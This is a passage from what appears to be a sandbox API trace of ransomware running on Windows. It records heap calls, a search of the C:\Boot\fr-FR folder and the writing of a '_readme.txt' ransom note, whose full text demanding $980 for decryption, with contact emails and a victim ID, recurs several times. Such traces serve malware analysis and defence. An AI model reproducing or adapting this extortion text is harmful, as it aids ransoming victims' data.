hHeap=0x5d0000) returned 1 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.448] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.448] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.448] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.448] PathFindFileNameW (pszPath="") returned="" [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.448] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.449] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.449] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.449] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.449] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0066.449] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.449] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.449] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0066.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.450] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.450] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.450] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.450] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.451] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.451] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.451] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.451] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.451] CloseHandle (hObject=0x5c4) returned 1 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.452] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.452] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.452] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.452] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.452] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.452] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.452] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.452] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.452] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.453] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.453] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.454] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.454] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.455] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.455] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: 